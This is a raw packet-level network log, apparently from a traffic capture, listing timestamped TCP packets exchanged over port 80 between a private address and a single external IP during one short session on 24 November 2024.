Nov 24, 2024 23:24:37.331702948 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.331726074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.331829071 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.332469940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.332526922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.332530975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.332611084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.333380938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.333435059 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.333659887 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.333801985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.334317923 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.334429026 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.334481955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.335133076 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.335396051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.335449934 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.336024046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.336087942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.336203098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.336283922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.336896896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.336951017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.336991072 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.337091923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.337759018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.337805033 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.337872982 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.337923050 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.338655949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.338701010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.338891029 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.338963032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.339525938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.339566946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.339575052 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.339658976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.340428114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.340446949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.340667963 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.437974930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.438085079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.438087940 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.438182116 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.438204050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.438262939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.438693047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.439125061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.439141035 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.439214945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.439464092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.439522982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.440109015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.440129995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.440171957 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.440190077 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.498919010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.498989105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.499108076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.499361992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.499504089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.499558926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.499620914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.499963045 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.500410080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.500472069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.500541925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.500585079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.501313925 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.501373053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.501562119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.501614094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.502193928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.502250910 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.502501011 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.502612114 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.503055096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.503124952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.503161907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.503340960 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.503964901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.504043102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.504043102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.504180908 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.504836082 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.504894018 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.504970074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.505042076 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.505712032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.505785942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.505824089 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.505994081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.506570101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.506686926 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.506825924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.506974936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.507467031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.507574081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.507632971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.508374929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.508425951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.508435965 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.508553028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.509237051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.509299994 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.509363890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.509421110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.510099888 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.510183096 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.510184050 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.510267019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.510987043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.511064053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.511096954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.511293888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.511885881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.511966944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.512061119 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.512104988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.512758017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.512840986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.512845039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.512901068 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.513649940 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.513711929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.513861895 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.513910055 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.514508009 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.514575958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.514595985 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.514812946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.515412092 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.515424967 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.515539885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.516280890 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.516340017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.516376019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.516417027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.517159939 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.517224073 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.517275095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.517328978 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.518028021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.518117905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.518129110 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.518345118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.518914938 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.519010067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.519077063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.519804001 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.519867897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.519901037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.519944906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.520684004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.520704031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.520756006 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.520771027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.521578074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.521639109 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.521667004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.521841049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.522450924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.522530079 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.522665977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.522712946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.523350000 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.523411036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.523449898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.523489952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.524193048 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.524267912 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.524303913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.524350882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.525140047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.525152922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.525218010 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.525985956 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.526048899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.526076078 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.526132107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.526829004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.526894093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.526984930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.527031898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.527777910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.527848005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.527851105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.527923107 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.528601885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.528701067 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.528773069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.528773069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.529498100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.529592037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.529771090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.530355930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.530476093 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.530549049 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.531271935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.531352043 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.531421900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.531465054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.532120943 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.532188892 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.532249928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.532298088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.533015013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.533063889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.533233881 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.533293962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.533901930 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.533960104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.533994913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.534035921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.534763098 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.534816027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.534871101 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.534914970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.535667896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.535722017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.535758972 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.535948038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.536534071 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.536586046 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.536590099 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.536802053 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.537475109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.537529945 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.537564039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.537610054 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.538317919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.538393974 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.538415909 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.538606882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.539206028 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.539263964 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.539288998 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.539427996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.540060043 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.540117979 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.540157080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.540193081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.540971994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.541027069 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.541039944 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.541110039 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.541819096 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.541878939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.541888952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.542114973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.639466047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.639626980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.639695883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.639895916 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.640022039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.640050888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.640069962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.640805006 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.640871048 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.640899897 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.640950918 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.641648054 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.641710997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.700475931 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.700539112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.700594902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.700655937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.700964928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.701020002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.701150894 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.701241970 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.701808929 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.701859951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.702078104 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.702176094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.702650070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.702699900 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.702727079 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.702791929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.703532934 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.703572989 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.703586102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.703628063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.704422951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.704473019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.704555988 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.705303907 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.705367088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.705399990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.705485106 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.706192017 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.706263065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.706290960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.706342936 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.707112074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.707194090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.707250118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.707302094 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.707982063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.708050966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.708082914 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.708128929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.708837986 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.708894968 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.709450960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.709501982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.709707022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.709765911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.709805965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.709857941 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.710572004 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.710624933 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.710684061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.710738897 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.711462021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.711515903 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.711663008 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.712394953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.712456942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.712476969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.712496996 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.713239908 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.713300943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.713340044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.713387012 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.714093924 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.714143038 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.714226961 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.714277029 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.715008020 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.715049982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.715078115 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.715118885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.715881109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.716029882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.716085911 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.716780901 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.716859102 CET	80	49760	185.215.113.206	192.168.2.5
Nov 24, 2024 23:24:37.716912985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 24, 2024 23:24:37.717655897 CET	80	49760	185.215.113.206	192.168.2.5
